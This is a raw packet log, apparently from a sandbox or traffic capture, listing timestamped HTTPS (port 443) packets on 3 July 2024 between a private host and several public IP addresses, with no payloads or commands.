Jul 3, 2024 14:38:46.451488972 CEST	443	49762	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:46.451549053 CEST	49762	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:46.452044964 CEST	49760	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:46.452056885 CEST	443	49760	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:46.452261925 CEST	49759	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:46.452289104 CEST	443	49759	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:46.452771902 CEST	49761	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:46.452785969 CEST	443	49761	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:46.453157902 CEST	49762	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:46.453167915 CEST	443	49762	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:46.610703945 CEST	443	49748	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:46.610807896 CEST	443	49748	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:46.610861063 CEST	49748	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:46.611991882 CEST	49748	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:46.612018108 CEST	443	49748	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:46.617588997 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.617623091 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.617633104 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.617647886 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.617659092 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.617674112 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.617712975 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.617727041 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.624978065 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.624993086 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.625051022 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.625062943 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.629550934 CEST	49763	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:46.629595041 CEST	443	49763	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:46.629663944 CEST	49763	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:46.629981041 CEST	49763	443	192.168.2.5	93.184.221.165
Jul 3, 2024 14:38:46.629990101 CEST	443	49763	93.184.221.165	192.168.2.5
Jul 3, 2024 14:38:46.678154945 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.714958906 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.714972973 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.715017080 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.715020895 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.715037107 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.715053082 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.715059996 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.715061903 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.715080976 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.715105057 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.728982925 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.729002953 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.729021072 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.729053974 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.729062080 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.729079962 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.729113102 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.729131937 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.793229103 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.793297052 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.805145025 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.805172920 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.805262089 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.805289030 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.805314064 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.805334091 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.806902885 CEST	443	49750	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.806996107 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.813592911 CEST	49750	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.813632011 CEST	443	49750	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.815052986 CEST	443	49750	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.815116882 CEST	49750	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.815581083 CEST	49750	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.815653086 CEST	443	49750	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.815740108 CEST	49750	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.815747976 CEST	443	49750	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.820285082 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.820306063 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.820350885 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.820383072 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.820400953 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.820430040 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.821151972 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.821202993 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.827210903 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.827274084 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.827281952 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.840848923 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.840868950 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.840919971 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.840936899 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.840971947 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.859599113 CEST	49750	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.867100954 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.867379904 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.867400885 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.871114969 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.871184111 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.871628046 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.871815920 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.871855974 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.884676933 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.884721994 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.884741068 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.884753942 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.884772062 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.884793997 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.884820938 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.885240078 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:46.885257006 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:46.904437065 CEST	443	49755	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:46.904680014 CEST	49755	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:46.904709101 CEST	443	49755	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:46.905774117 CEST	443	49755	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:46.905838966 CEST	49755	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:46.906157970 CEST	49755	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:46.906230927 CEST	443	49755	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:46.906290054 CEST	49755	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:46.906300068 CEST	443	49755	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:46.916506052 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.920975924 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.921001911 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.925343990 CEST	443	49750	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.925390005 CEST	443	49750	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.925443888 CEST	49750	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.925468922 CEST	443	49750	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.925503016 CEST	49750	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.926361084 CEST	443	49750	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.926413059 CEST	443	49750	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.926450968 CEST	49750	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.926465988 CEST	443	49750	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.926503897 CEST	443	49750	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.926541090 CEST	49750	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.926892042 CEST	49750	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.926908016 CEST	443	49750	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.947393894 CEST	49755	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:46.975090027 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.976450920 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.978494883 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.978544950 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.978557110 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.978599072 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.978605986 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.978837967 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.978846073 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.978883028 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.978890896 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.981600046 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.981607914 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:46.981656075 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:46.981666088 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.011981964 CEST	443	49754	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:47.012249947 CEST	49754	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:47.012276888 CEST	443	49754	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:47.013290882 CEST	443	49754	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:47.013350964 CEST	49754	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:47.013758898 CEST	49754	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:47.013817072 CEST	443	49754	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:47.014241934 CEST	49754	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:47.014251947 CEST	443	49754	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:47.023353100 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.054356098 CEST	49754	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:47.054816008 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.054893970 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.054903030 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.054918051 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.054955006 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.055001974 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.055007935 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.055013895 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.055027008 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.055041075 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.055059910 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.055063963 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.060961008 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.061031103 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.061044931 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.063946962 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.063981056 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.064013958 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.064028978 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.064054966 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.066407919 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.066430092 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.066447973 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.066473961 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.066517115 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.066531897 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.066581011 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.066592932 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.068008900 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.068042040 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.068063021 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.068078041 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.068125963 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.068147898 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.068173885 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.068177938 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.068182945 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.068207026 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.068208933 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.068252087 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.069794893 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.069864988 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.069871902 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.072185993 CEST	443	49758	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:47.072464943 CEST	49758	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:47.072494030 CEST	443	49758	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:47.073374987 CEST	443	49758	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:47.073507071 CEST	49758	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:47.074007034 CEST	49758	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:47.074074030 CEST	443	49758	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:47.074362993 CEST	49758	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:47.074377060 CEST	443	49758	216.58.206.68	192.168.2.5
Jul 3, 2024 14:38:47.076281071 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.076335907 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.076349020 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.088758945 CEST	443	49762	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.089224100 CEST	49762	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.089255095 CEST	443	49762	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.090147972 CEST	443	49762	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.090200901 CEST	49762	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.091933966 CEST	49762	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.092010975 CEST	443	49762	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.092307091 CEST	49762	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.092319965 CEST	443	49762	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.093189001 CEST	443	49760	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.093379974 CEST	49760	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.093406916 CEST	443	49760	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.094501019 CEST	443	49760	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.094552040 CEST	49760	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.095190048 CEST	49760	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.095280886 CEST	443	49760	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.095443964 CEST	49760	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.095451117 CEST	443	49760	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.101556063 CEST	443	49755	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:47.101630926 CEST	443	49755	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:47.101680994 CEST	49755	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:47.104024887 CEST	49755	443	192.168.2.5	104.244.42.195
Jul 3, 2024 14:38:47.104054928 CEST	443	49755	104.244.42.195	192.168.2.5
Jul 3, 2024 14:38:47.112108946 CEST	443	49759	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.117782116 CEST	443	49761	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.118164062 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.118181944 CEST	49758	443	192.168.2.5	216.58.206.68
Jul 3, 2024 14:38:47.118181944 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.134196997 CEST	49762	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.142563105 CEST	49760	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.151340008 CEST	49761	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.151351929 CEST	443	49761	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.151657104 CEST	49759	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.151684046 CEST	443	49759	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.152570009 CEST	443	49761	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.152637959 CEST	49761	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.152872086 CEST	443	49759	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.152923107 CEST	49759	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.153615952 CEST	49761	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.153691053 CEST	443	49761	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.154020071 CEST	49761	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.154026031 CEST	443	49761	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.154571056 CEST	49759	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.154638052 CEST	443	49759	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.154949903 CEST	49759	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.154959917 CEST	443	49759	157.240.0.35	192.168.2.5
Jul 3, 2024 14:38:47.167849064 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.167898893 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.167922020 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.167927980 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.167938948 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.167984962 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.168239117 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.168279886 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.168976068 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.168992996 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.169030905 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.169061899 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.170074940 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.170113087 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.170146942 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.170147896 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.170185089 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.170241117 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.170970917 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.170988083 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.171041965 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.171056986 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.171092987 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.172313929 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.172363043 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.172370911 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.174403906 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.174407005 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.174416065 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.174455881 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.174468994 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.174491882 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.174501896 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.174921036 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.174968004 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.174976110 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.175008059 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.176023006 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.176067114 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.176084042 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.176090956 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.176126003 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.176537037 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.176589966 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.177485943 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.177540064 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.177546978 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.177578926 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.178437948 CEST	443	49751	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:47.178489923 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.178491116 CEST	49751	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:47.178524971 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.178543091 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.178555012 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.178602934 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.182024956 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.182070971 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.182070971 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.182081938 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.182117939 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.186033964 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.186132908 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.186203003 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.186213970 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.192574024 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.192610979 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.192655087 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.192673922 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.192780972 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.194767952 CEST	49761	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.194812059 CEST	49759	443	192.168.2.5	157.240.0.35
Jul 3, 2024 14:38:47.197721004 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.197786093 CEST	49747	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:47.197797060 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.208143950 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.208178043 CEST	443	49747	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:47.208192110 CEST	49747	443	192.168.2.5	157.240.0.6
